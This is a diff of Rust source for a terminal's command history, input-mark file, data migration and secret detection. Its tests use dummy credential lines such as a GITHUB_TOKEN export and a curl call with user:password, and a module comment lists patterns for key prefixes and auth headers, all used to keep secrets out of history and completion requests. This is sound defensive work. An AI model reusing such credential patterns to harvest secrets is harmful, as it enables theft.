return false;
|
||||
}
|
||||
let mut entry = entry;
|
||||
entry.command = entry.command.trim().to_string();
|
||||
self.entries.retain(|e| e.command != entry.command);
|
||||
self.entries.push(entry);
|
||||
if self.entries.len() > self.max {
|
||||
let extra = self.entries.len() - self.max;
|
||||
self.entries.drain(0..extra);
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// The rest of the newest command that starts with what is typed; `None`
|
||||
/// when there is none, or nothing is typed.
|
||||
pub fn suggest(&self, typed: &str) -> Option<&str> {
|
||||
if typed.is_empty() || typed.starts_with(' ') {
|
||||
return None;
|
||||
}
|
||||
for entry in self.entries.iter().rev() {
|
||||
if entry.command.len() > typed.len() && entry.command.starts_with(typed) {
|
||||
return Some(&entry.command[typed.len()..]);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Read a history from the text of its file. Lines that are not entries
|
||||
/// are passed over. Returns the history and how many lines the text had.
|
||||
pub fn parse(text: &str, max: usize) -> (History, usize) {
|
||||
let mut history = History::new(max);
|
||||
let mut lines = 0;
|
||||
for line in text.lines() {
|
||||
lines += 1;
|
||||
if line.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
if let Some(entry) = Entry::from_line(line) {
|
||||
history.add(entry);
|
||||
}
|
||||
}
|
||||
(history, lines)
|
||||
}
|
||||
|
||||
/// The whole history as the text of its file.
|
||||
pub fn serialize(&self) -> String {
|
||||
let mut out = String::from(HEADER);
|
||||
out.push('\n');
|
||||
for entry in &self.entries {
|
||||
out.push_str(&entry.to_line());
|
||||
out.push('\n');
|
||||
}
|
||||
out
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn private_options() -> std::fs::OpenOptions {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut options = std::fs::OpenOptions::new();
|
||||
options.mode(0o600);
|
||||
options
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn private_options() -> std::fs::OpenOptions {
|
||||
std::fs::OpenOptions::new()
|
||||
}
|
||||
|
||||
/// Read the history file. A file that is not there is an empty history. When
|
||||
/// the file has grown to more than twice what is kept, it is rewritten; and
|
||||
/// so it is when it holds a line that is not kept (one that looks as if it
|
||||
/// holds a secret, written before that was looked for): such a line does not
|
||||
/// stay on disk.
|
||||
pub fn load(path: &Path, max: usize) -> std::io::Result<History> {
|
||||
let text = match std::fs::read_to_string(path) {
|
||||
Ok(text) => text,
|
||||
Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(History::new(max)),
|
||||
Err(err) => return Err(err),
|
||||
};
|
||||
let (history, lines) = History::parse(&text, max);
|
||||
// a line that is no entry: among them one `from_line` does not keep
|
||||
let unkept = text
|
||||
.lines()
|
||||
.any(|line| !line.is_empty() && !line.starts_with('#') && Entry::from_line(line).is_none());
|
||||
if unkept || lines > max.saturating_mul(2) + 16 {
|
||||
save(path, &history)?;
|
||||
}
|
||||
Ok(history)
|
||||
}
|
||||
|
||||
/// Write the whole history: to a file beside it that is the person's alone,
|
||||
/// then moved over it.
|
||||
pub fn save(path: &Path, history: &History) -> std::io::Result<()> {
|
||||
if let Some(dir) = path.parent() {
|
||||
std::fs::create_dir_all(dir)?;
|
||||
}
|
||||
let mut tmp = path.as_os_str().to_owned();
|
||||
tmp.push(format!(".{}.tmp", std::process::id()));
|
||||
let tmp = std::path::PathBuf::from(tmp);
|
||||
let _ = std::fs::remove_file(&tmp);
|
||||
let result = (|| {
|
||||
let mut file = private_options().write(true).create_new(true).open(&tmp)?;
|
||||
file.write_all(history.serialize().as_bytes())?;
|
||||
file.sync_all()?;
|
||||
std::fs::rename(&tmp, path)
|
||||
})();
|
||||
if result.is_err() {
|
||||
let _ = std::fs::remove_file(&tmp);
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Add one command to the end of the file, making the file (the person's
|
||||
/// alone) when it is not there.
|
||||
pub fn append(path: &Path, entry: &Entry) -> std::io::Result<()> {
|
||||
if let Some(dir) = path.parent() {
|
||||
std::fs::create_dir_all(dir)?;
|
||||
}
|
||||
let mut file = private_options().append(true).create(true).open(path)?;
|
||||
let mut text = String::new();
|
||||
if file.metadata()?.len() == 0 {
|
||||
text.push_str(HEADER);
|
||||
text.push('\n');
|
||||
}
|
||||
text.push_str(&entry.to_line());
|
||||
text.push('\n');
|
||||
file.write_all(text.as_bytes())
|
||||
}
|
||||
|
||||
/// Forget everything: the file is removed.
|
||||
pub fn remove(path: &Path) -> std::io::Result<()> {
|
||||
match std::fs::remove_file(path) {
|
||||
Ok(()) => Ok(()),
|
||||
Err(err) if err.kind() == std::io::ErrorKind::NotFound => Ok(()),
|
||||
Err(err) => Err(err),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
fn entry(command: &str, exit: i32) -> Entry {
|
||||
Entry {
|
||||
command: command.to_string(),
|
||||
exit,
|
||||
cwd: "/home/user/project".to_string(),
|
||||
time: 1700000000,
|
||||
}
|
||||
}
|
||||
|
||||
/// A directory of its own for one test.
|
||||
fn scratch(name: &str) -> std::path::PathBuf {
|
||||
static N: AtomicUsize = AtomicUsize::new(0);
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"llembas-line-test-{}-{}-{}",
|
||||
std::process::id(),
|
||||
N.fetch_add(1, Ordering::SeqCst),
|
||||
name
|
||||
));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
dir
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn what_is_kept_and_what_is_not() {
|
||||
assert!(accepts("git status", 0));
|
||||
assert!(
|
||||
accepts("make test", 2),
|
||||
"a command that failed is still one"
|
||||
);
|
||||
assert!(accepts("ls", NO_EXIT));
|
||||
assert!(
|
||||
!accepts(" export TOKEN=secret", 0),
|
||||
"a line that starts with a space"
|
||||
);
|
||||
assert!(!accepts("gti status", 127), "a command that was not found");
|
||||
assert!(!accepts("", 0));
|
||||
assert!(!accepts(" ", 0));
|
||||
assert!(
|
||||
!accepts("ls \u{202E}txt.exe", 0) && !accepts("ls\u{200B} -la", 0),
|
||||
"nothing that is drawn as nothing: a suggestion is what was seen"
|
||||
);
|
||||
assert!(!accepts("echo a\necho b", 0), "several lines");
|
||||
assert!(!accepts("echo \u{1b}[31m", 0), "a control character");
|
||||
let long: String = std::iter::repeat('a').take(MAX_COMMAND_BYTES + 1).collect();
|
||||
assert!(!accepts(&long, 0));
|
||||
// a line that looks as if it holds a secret
|
||||
assert!(!accepts("export GITHUB_TOKEN=abc123", 0));
|
||||
assert!(!accepts("mysql -u root -pS3cretWord shop", 0));
|
||||
assert!(!accepts("curl -u alice:hunter2 https://example.org", 1));
|
||||
assert!(accepts("export GITHUB_TOKEN=$(gh auth token)", 0));
|
||||
assert!(accepts("mysql -u root -p shop", 0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_secret_is_neither_kept_nor_left_in_the_file() {
|
||||
let mut h = History::new(10);
|
||||
assert!(h.add(entry("git status", 0)));
|
||||
assert!(!h.add(entry("export GITHUB_TOKEN=abc123", 0)));
|
||||
assert_eq!(h.len(), 1);
|
||||
assert_eq!(h.suggest("export"), None, "never offered back");
|
||||
|
||||
// a file from before this was looked for
|
||||
let dir = scratch("secret");
|
||||
let path = dir.join("history");
|
||||
let old = format!(
|
||||
"{}\n{}\n{}\n{}\n",
|
||||
HEADER,
|
||||
entry("git status", 0).to_line(),
|
||||
entry("export GITHUB_TOKEN=abc123", 0).to_line(),
|
||||
entry("ls -la", 0).to_line()
|
||||
);
|
||||
std::fs::write(&path, old).unwrap();
|
||||
let h = load(&path, 100).unwrap();
|
||||
assert_eq!(h.len(), 2, "read without it");
|
||||
assert_eq!(h.suggest("export"), None);
|
||||
let text = std::fs::read_to_string(&path).unwrap();
|
||||
assert!(!text.contains("abc123"), "and it is gone from the disk");
|
||||
assert!(text.contains("git status") && text.contains("ls -la"));
|
||||
std::fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adding() {
|
||||
let mut h = History::new(3);
|
||||
assert!(h.add(entry("one", 0)));
|
||||
assert!(h.add(entry("two ", 0)));
|
||||
assert!(!h.add(entry(" secret", 0)));
|
||||
assert!(h.add(entry("one", 1)));
|
||||
let commands: Vec<&str> = h.entries().iter().map(|e| e.command.as_str()).collect();
|
||||
assert_eq!(
|
||||
commands,
|
||||
vec!["two", "one"],
|
||||
"each once, the newest last, trimmed"
|
||||
);
|
||||
assert_eq!(h.entries()[1].exit, 1, "and as it last ended");
|
||||
h.add(entry("three", 0));
|
||||
h.add(entry("four", 0));
|
||||
assert_eq!(h.len(), 3);
|
||||
assert_eq!(h.entries()[0].command, "one", "the oldest went");
|
||||
let mut none = History::new(0);
|
||||
assert!(
|
||||
!none.add(entry("x", 0)),
|
||||
"a history of nothing keeps nothing"
|
||||
);
|
||||
assert!(none.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn suggesting() {
|
||||
let mut h = History::new(10);
|
||||
h.add(entry("git status", 0));
|
||||
h.add(entry("git stash pop", 0));
|
||||
h.add(entry("ls -la", 0));
|
||||
assert_eq!(
|
||||
h.suggest("git st"),
|
||||
Some("ash pop"),
|
||||
"the newest that starts so"
|
||||
);
|
||||
assert_eq!(h.suggest("git stat"), Some("us"));
|
||||
assert_eq!(h.suggest("git status"), None, "nothing left to offer");
|
||||
assert_eq!(h.suggest("l"), Some("s -la"));
|
||||
assert_eq!(h.suggest(""), None, "nothing typed");
|
||||
assert_eq!(
|
||||
h.suggest(" git"),
|
||||
None,
|
||||
"a line that asks not to be remembered"
|
||||
);
|
||||
assert_eq!(h.suggest("cargo"), None);
|
||||
assert_eq!(h.suggest("Git"), None, "as typed, not folded");
|
||||
h.clear();
|
||||
assert_eq!(h.suggest("git"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_file_text() {
|
||||
let mut h = History::new(10);
|
||||
h.add(Entry {
|
||||
command: "echo a\\tb".to_string(),
|
||||
exit: 0,
|
||||
cwd: "/tmp/with\ttab".to_string(),
|
||||
time: 5,
|
||||
});
|
||||
h.add(entry("ls", 2));
|
||||
let text = h.serialize();
|
||||
assert_eq!(
|
||||
text,
|
||||
"# llembas-term history 1\n5\t0\t/tmp/with\\ttab\techo a\\\\tb\n1700000000\t2\t/home/user/project\tls\n"
|
||||
);
|
||||
let (back, lines) = History::parse(&text, 10);
|
||||
assert_eq!(lines, 3);
|
||||
assert_eq!(back.entries(), h.entries());
|
||||
// lines that are not entries are passed over, never an error
|
||||
let (odd, _) = History::parse(
|
||||
"nonsense\n1\t0\n\nx\t0\t/\tls\n7\t0\t/\t secret\n8\t127\t/\tgti\n9\t0\t/\tok\n",
|
||||
10,
|
||||
);
|
||||
assert_eq!(odd.len(), 1);
|
||||
assert_eq!(odd.entries()[0].command, "ok");
|
||||
// only the newest are kept
|
||||
let (few, _) = History::parse("1\t0\t/\ta\n2\t0\t/\tb\n3\t0\t/\tc\n", 2);
|
||||
assert_eq!(few.entries()[0].command, "b");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_file_itself() {
|
||||
let dir = scratch("file");
|
||||
let path = dir.join("sub").join("history");
|
||||
assert!(
|
||||
load(&path, 10).unwrap().is_empty(),
|
||||
"no file: an empty history"
|
||||
);
|
||||
append(&path, &entry("git status", 0)).unwrap();
|
||||
append(&path, &entry("ls", 0)).unwrap();
|
||||
let text = std::fs::read_to_string(&path).unwrap();
|
||||
assert!(text.starts_with("# llembas-term history 1\n"));
|
||||
assert_eq!(text.lines().count(), 3);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
|
||||
assert_eq!(mode, 0o600, "the person's alone");
|
||||
}
|
||||
let h = load(&path, 10).unwrap();
|
||||
assert_eq!(h.len(), 2);
|
||||
assert_eq!(h.suggest("git"), Some(" status"));
|
||||
remove(&path).unwrap();
|
||||
remove(&path).unwrap();
|
||||
assert!(load(&path, 10).unwrap().is_empty());
|
||||
std::fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_file_that_grew_is_rewritten_smaller() {
|
||||
let dir = scratch("grow");
|
||||
let path = dir.join("history");
|
||||
for i in 0..40 {
|
||||
append(&path, &entry(&format!("command {}", i % 5), 0)).unwrap();
|
||||
}
|
||||
assert_eq!(std::fs::read_to_string(&path).unwrap().lines().count(), 41);
|
||||
let h = load(&path, 3).unwrap();
|
||||
assert_eq!(h.len(), 3);
|
||||
let text = std::fs::read_to_string(&path).unwrap();
|
||||
assert_eq!(text.lines().count(), 4, "the header and the three kept");
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
|
||||
assert_eq!(mode, 0o600, "still the person's alone");
|
||||
}
|
||||
let files: Vec<_> = std::fs::read_dir(&dir).unwrap().collect();
|
||||
assert_eq!(files.len(), 1, "nothing left beside it");
|
||||
std::fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
//! LLeMbas TERM: what the terminal decides about a line of text, with no
|
||||
//! terminal in it.
|
||||
//!
|
||||
//! - [`editor`]: the ask line's own small line editor, and how it fits a row.
|
||||
//! - [`zone`]: the shell's input line, read from the cells of the screen.
|
||||
//! - [`history`]: the terminal's own history of commands it saw run.
|
||||
//! - [`mark`]: the input mark, by which LLeMbas knows a prompt is empty.
|
||||
//! - [`migrate`]: what is carried over from the terminal's earlier name.
|
||||
//! - [`secret`]: whether a command line looks as if it holds a secret - such
|
||||
//! a line is not sent for a completion and not kept in the history.
|
||||
//! - [`suggest`]: what is offered after the cursor, and how much a key takes.
|
||||
//! - [`tokens`]: the parts of a shell command line, for its colours.
|
||||
//! - [`complete`]: asking LLeMbas for the rest of a line - whether to, how the
|
||||
//! engine is run, and what is remembered of it for the person.
|
||||
//!
|
||||
//! Everything takes plain values and returns plain values. Text that came
|
||||
//! from a pane, a file or a model is text here and nothing else: it is never
|
||||
//! run, and nothing in it survives that could act on a terminal.
|
||||
|
||||
pub mod complete;
|
||||
pub mod editor;
|
||||
pub mod history;
|
||||
pub mod mark;
|
||||
pub mod migrate;
|
||||
pub mod secret;
|
||||
pub mod suggest;
|
||||
pub mod tokens;
|
||||
pub mod zone;
|
||||
@@ -0,0 +1,148 @@
|
||||
//! The input mark: whether anything stands on the input line of a pane's
|
||||
//! prompt, written by the terminal for LLeMbas, which places a command only
|
||||
//! at an empty prompt (the engine's specification, *A command placed at the
|
||||
//! prompt*).
|
||||
//!
|
||||
//! A small file beside the pane's status record, the person's alone, written
|
||||
//! whole:
|
||||
//!
|
||||
//! ```text
|
||||
//! llembas-term-input=1
|
||||
//! id=<the status record's id>
|
||||
//! seq=<the status record's seq>
|
||||
//! typed=0 | 1
|
||||
//! ```
|
||||
//!
|
||||
//! It counts only while `id` and `seq` are those of the pane's status record
|
||||
//! and that record is at a prompt, so a mark that was not kept up says
|
||||
//! nothing rather than something wrong.
|
||||
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
pub const MAGIC: &str = "llembas-term-input=1";
|
||||
|
||||
/// The mark's file for a pane, in the directory of the status records.
|
||||
pub fn path(dir: &Path, pane: usize) -> PathBuf {
|
||||
dir.join(format!("pane-{}.input", pane))
|
||||
}
|
||||
|
||||
/// Is this the id of a status record? 1 to 64 letters, digits, `.`, `_`,
|
||||
/// `:` or `-`. Anything else is never written into a file.
|
||||
pub fn valid_id(id: &str) -> bool {
|
||||
!id.is_empty()
|
||||
&& id.len() <= 64
|
||||
&& id
|
||||
.chars()
|
||||
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | ':' | '-'))
|
||||
}
|
||||
|
||||
/// The mark as it is written; `None` for an id that is none.
|
||||
pub fn text(id: &str, seq: u64, typed: bool) -> Option<String> {
|
||||
if !valid_id(id) {
|
||||
return None;
|
||||
}
|
||||
Some(format!(
|
||||
"{}\nid={}\nseq={}\ntyped={}\n",
|
||||
MAGIC,
|
||||
id,
|
||||
seq,
|
||||
if typed { 1 } else { 0 }
|
||||
))
|
||||
}
|
||||
|
||||
/// Write the mark of a pane: beside the file, closed to everybody else, then
|
||||
/// moved over it, so that a reader sees the old mark or the new one.
|
||||
pub fn write(dir: &Path, pane: usize, id: &str, seq: u64, typed: bool) -> std::io::Result<()> {
|
||||
let text = text(id, seq, typed).ok_or_else(|| {
|
||||
std::io::Error::new(std::io::ErrorKind::InvalidInput, "not a status record's id")
|
||||
})?;
|
||||
let path = path(dir, pane);
|
||||
let tmp = dir.join(format!("pane-{}.input.{}", pane, std::process::id()));
|
||||
let mut options = std::fs::OpenOptions::new();
|
||||
options.write(true).create(true).truncate(true);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
options.mode(0o600);
|
||||
}
|
||||
let written = options
|
||||
.open(&tmp)
|
||||
.and_then(|mut file| file.write_all(text.as_bytes()))
|
||||
.and_then(|_| std::fs::rename(&tmp, &path));
|
||||
if written.is_err() {
|
||||
let _ = std::fs::remove_file(&tmp);
|
||||
}
|
||||
written
|
||||
}
|
||||
|
||||
/// Take a pane's mark away. That there is none is no error.
|
||||
pub fn remove(dir: &Path, pane: usize) -> std::io::Result<()> {
|
||||
match std::fs::remove_file(path(dir, pane)) {
|
||||
Err(err) if err.kind() != std::io::ErrorKind::NotFound => Err(err),
|
||||
_ => Ok(()),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn the_mark_as_written() {
|
||||
assert_eq!(
|
||||
text("4242.1700000000", 17, false).unwrap(),
|
||||
"llembas-term-input=1\nid=4242.1700000000\nseq=17\ntyped=0\n"
|
||||
);
|
||||
assert!(text("4242.1700000000", 18, true)
|
||||
.unwrap()
|
||||
.ends_with("seq=18\ntyped=1\n"));
|
||||
assert_eq!(text("", 1, false), None);
|
||||
assert_eq!(text("a\nseq=9", 1, false), None, "one fact a line");
|
||||
assert_eq!(text("a b", 1, false), None);
|
||||
assert!(valid_id("host-1:2_3.4"));
|
||||
assert!(!valid_id(&"x".repeat(65)));
|
||||
assert_eq!(
|
||||
path(Path::new("/run/t/status-1"), 12),
|
||||
PathBuf::from("/run/t/status-1/pane-12.input")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_mark_in_its_file() {
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"llembas-line-mark-{}-{}",
|
||||
std::process::id(),
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos())
|
||||
.unwrap_or(0)
|
||||
));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
write(&dir, 3, "77.5", 4, true).unwrap();
|
||||
let file = path(&dir, 3);
|
||||
assert_eq!(
|
||||
std::fs::read_to_string(&file).unwrap(),
|
||||
"llembas-term-input=1\nid=77.5\nseq=4\ntyped=1\n"
|
||||
);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mode = std::fs::metadata(&file).unwrap().permissions().mode();
|
||||
assert_eq!(mode & 0o777, 0o600, "the person's alone");
|
||||
}
|
||||
// written whole again, and nothing is left beside it
|
||||
write(&dir, 3, "77.5", 5, false).unwrap();
|
||||
assert!(std::fs::read_to_string(&file)
|
||||
.unwrap()
|
||||
.ends_with("seq=5\ntyped=0\n"));
|
||||
assert_eq!(std::fs::read_dir(&dir).unwrap().count(), 1);
|
||||
assert!(write(&dir, 3, "not an id", 5, false).is_err());
|
||||
remove(&dir, 3).unwrap();
|
||||
assert!(!file.exists());
|
||||
remove(&dir, 3).unwrap();
|
||||
// a directory that is not there: an error, and nothing is made
|
||||
assert!(write(&dir.join("gone"), 1, "a", 1, false).is_err());
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
//! What is carried over from the terminal's earlier name. LLeMbas TERM was
|
||||
//! called LLeMbas TTY up to 1.0.0-beta.5, and kept its files in directories
|
||||
//! of that name (`llembas-tty`).
|
||||
//!
|
||||
//! Once, at the first start under the new name: when the terminal's own data
|
||||
//! directory does not exist yet and the one of the old name beside it does,
|
||||
//! the new one is made and the files the terminal itself keeps are copied
|
||||
//! into it. Nothing of the old directory is moved, changed or removed, and
|
||||
//! nothing that exists in the new place is ever written over: a directory
|
||||
//! that is already there is left exactly as it is.
|
||||
//!
|
||||
//! The person's own configuration file is not copied: the terminal reads the
|
||||
//! one of the old name where it is, for as long as there is none of the new
|
||||
//! name (`config`, where the file is looked for), and says so.
|
||||
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
/// The directory name the terminal used before it was renamed.
|
||||
pub const OLD_NAME: &str = "llembas-tty";
|
||||
|
||||
/// The files of the data directory that are carried over: the terminal's own
|
||||
/// history of commands, and the mark that the person has chosen settings
|
||||
/// through the terminal before.
|
||||
pub const CARRIED: [&str; 2] = ["command-history", "settings-chosen"];
|
||||
|
||||
/// The directory of the old name beside `new`.
|
||||
pub fn old_dir(new: &Path) -> Option<PathBuf> {
|
||||
let parent = new.parent()?;
|
||||
new.file_name()?;
|
||||
Some(parent.join(OLD_NAME))
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn make_dir(path: &Path) -> std::io::Result<()> {
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Some(parent) = path.parent() {
|
||||
std::fs::create_dir_all(parent)?;
|
||||
}
|
||||
std::fs::DirBuilder::new().mode(0o700).create(path)
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn make_dir(path: &Path) -> std::io::Result<()> {
|
||||
if let Some(parent) = path.parent() {
|
||||
std::fs::create_dir_all(parent)?;
|
||||
}
|
||||
std::fs::DirBuilder::new().create(path)
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn new_private_file(path: &Path) -> std::io::Result<std::fs::File> {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
std::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create_new(true)
|
||||
.mode(0o600)
|
||||
.open(path)
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn new_private_file(path: &Path) -> std::io::Result<std::fs::File> {
|
||||
std::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create_new(true)
|
||||
.open(path)
|
||||
}
|
||||
|
||||
/// Carry the terminal's own files over into its data directory `new`, when
|
||||
/// that does not exist and the directory of the old name beside it does.
|
||||
/// Returns the names of the files that were copied: empty when there was
|
||||
/// nothing to do (the usual case, and every start after the first).
|
||||
pub fn data_dir(new: &Path) -> std::io::Result<Vec<String>> {
|
||||
// anything at all in the new place, a dangling link too, and it is left alone
|
||||
if std::fs::symlink_metadata(new).is_ok() {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
let old = match old_dir(new) {
|
||||
Some(old) => old,
|
||||
None => return Ok(Vec::new()),
|
||||
};
|
||||
match std::fs::symlink_metadata(&old) {
|
||||
Ok(meta) if meta.is_dir() => {}
|
||||
_ => return Ok(Vec::new()),
|
||||
}
|
||||
make_dir(new)?;
|
||||
let mut carried = Vec::new();
|
||||
for name in CARRIED {
|
||||
let from = old.join(name);
|
||||
// a plain file of the person's own; never what a link points at
|
||||
match std::fs::symlink_metadata(&from) {
|
||||
Ok(meta) if meta.is_file() => {}
|
||||
_ => continue,
|
||||
}
|
||||
let bytes = std::fs::read(&from)?;
|
||||
let mut file = new_private_file(&new.join(name))?;
|
||||
file.write_all(&bytes)?;
|
||||
carried.push(name.to_string());
|
||||
}
|
||||
Ok(carried)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
fn scratch(name: &str) -> PathBuf {
|
||||
static N: AtomicUsize = AtomicUsize::new(0);
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"llembas-line-migrate-{}-{}-{}",
|
||||
std::process::id(),
|
||||
name,
|
||||
N.fetch_add(1, Ordering::Relaxed)
|
||||
));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
dir
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn carried_once_and_the_old_ones_stay() {
|
||||
let base = scratch("once");
|
||||
let old = base.join(OLD_NAME);
|
||||
let new = base.join("llembas-term");
|
||||
std::fs::create_dir_all(&old).unwrap();
|
||||
let history = "# llembas-tty history 1\n1700000000\t0\t/home/user\tls\n";
|
||||
std::fs::write(old.join("command-history"), history).unwrap();
|
||||
std::fs::write(old.join("settings-chosen"), "").unwrap();
|
||||
std::fs::write(old.join("recent-commands.json"), "[]").unwrap();
|
||||
|
||||
let carried = data_dir(&new).unwrap();
|
||||
assert_eq!(carried, vec!["command-history", "settings-chosen"]);
|
||||
assert_eq!(
|
||||
std::fs::read_to_string(new.join("command-history")).unwrap(),
|
||||
history
|
||||
);
|
||||
assert!(new.join("settings-chosen").is_file());
|
||||
assert!(
|
||||
!new.join("recent-commands.json").exists(),
|
||||
"only the terminal's own two files"
|
||||
);
|
||||
// the old ones are where they were, as they were
|
||||
assert_eq!(
|
||||
std::fs::read_to_string(old.join("command-history")).unwrap(),
|
||||
history
|
||||
);
|
||||
assert!(old.join("settings-chosen").is_file());
|
||||
assert!(old.join("recent-commands.json").is_file());
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mode = |p: &Path| std::fs::metadata(p).unwrap().permissions().mode() & 0o777;
|
||||
assert_eq!(mode(&new), 0o700, "the person's alone");
|
||||
assert_eq!(mode(&new.join("command-history")), 0o600);
|
||||
}
|
||||
// the history of the old name is read as it is
|
||||
let (h, _) = crate::history::History::parse(
|
||||
&std::fs::read_to_string(new.join("command-history")).unwrap(),
|
||||
10,
|
||||
);
|
||||
assert_eq!(h.entries()[0].command, "ls");
|
||||
|
||||
// a second start: the new directory is there, nothing is done
|
||||
std::fs::write(new.join("command-history"), "changed since\n").unwrap();
|
||||
assert!(data_dir(&new).unwrap().is_empty());
|
||||
assert_eq!(
|
||||
std::fs::read_to_string(new.join("command-history")).unwrap(),
|
||||
"changed since\n"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nothing_is_written_over() {
|
||||
let base = scratch("exists");
|
||||
let old = base.join(OLD_NAME);
|
||||
let new = base.join("llembas-term");
|
||||
std::fs::create_dir_all(&old).unwrap();
|
||||
std::fs::create_dir_all(&new).unwrap();
|
||||
std::fs::write(old.join("command-history"), "old\n").unwrap();
|
||||
assert!(data_dir(&new).unwrap().is_empty());
|
||||
assert!(
|
||||
!new.join("command-history").exists(),
|
||||
"a directory that exists is left exactly as it is"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nothing_to_carry() {
|
||||
let base = scratch("none");
|
||||
let new = base.join("llembas-term");
|
||||
assert!(data_dir(&new).unwrap().is_empty());
|
||||
assert!(!new.exists(), "no old directory: none is made");
|
||||
|
||||
// an old directory with neither file: the new one is made, empty
|
||||
std::fs::create_dir_all(base.join(OLD_NAME)).unwrap();
|
||||
assert!(data_dir(&new).unwrap().is_empty());
|
||||
assert!(new.is_dir());
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn a_link_is_not_followed() {
|
||||
let base = scratch("link");
|
||||
let old = base.join(OLD_NAME);
|
||||
let new = base.join("llembas-term");
|
||||
std::fs::create_dir_all(&old).unwrap();
|
||||
std::fs::write(base.join("elsewhere"), "not the terminal's\n").unwrap();
|
||||
std::os::unix::fs::symlink(base.join("elsewhere"), old.join("command-history")).unwrap();
|
||||
assert!(data_dir(&new).unwrap().is_empty());
|
||||
assert!(!new.join("command-history").exists());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,762 @@
|
||||
//! Does a command line look as if it holds a secret?
|
||||
//!
|
||||
//! A line that does is not sent to LLeMbas for a completion and is not kept in
|
||||
//! the terminal's own history of commands (so it is never offered back, nor
|
||||
//! sent as context later). The rule errs on the side of not sending: a line
|
||||
//! taken for one that holds a secret costs a suggestion, the other mistake
|
||||
//! puts a password in a request.
|
||||
//!
|
||||
//! The same rules, in the same order, are `core.looks_secret` of the Lua
|
||||
//! layer, which keeps such a command out of a context file. Both are held to
|
||||
//! one table of cases, `llembas/tests/secrets.txt`: lines that must be taken
|
||||
//! for a secret, and ordinary commands that must not.
|
||||
//!
|
||||
//! What is looked for, in this order:
|
||||
//!
|
||||
//! 1. a key by its well-known beginning (`sk-`, `ghp_`, `github_pat_`,
|
||||
//! `glpat-`, `xoxb-`…, `AKIA…`, `-----BEGIN … PRIVATE KEY`);
|
||||
//! 2. a header that carries a credential (`Authorization:`, `Bearer …`,
|
||||
//! `Basic …`);
|
||||
//! 3. a URL with a name and a password (`scheme://user:pass@host`);
|
||||
//! 4. `name=value` and `name: value` where the name says what the value is
|
||||
//! (password, passwd, passphrase, secret, token, credential; key, auth and
|
||||
//! pwd too, unless the value is plainly a path or a number) - an
|
||||
//! assignment, an export, an option with `=`, a header, a field of JSON, a
|
||||
//! part of a query;
|
||||
//! 5. an option whose value is a word of its own (`--password x`,
|
||||
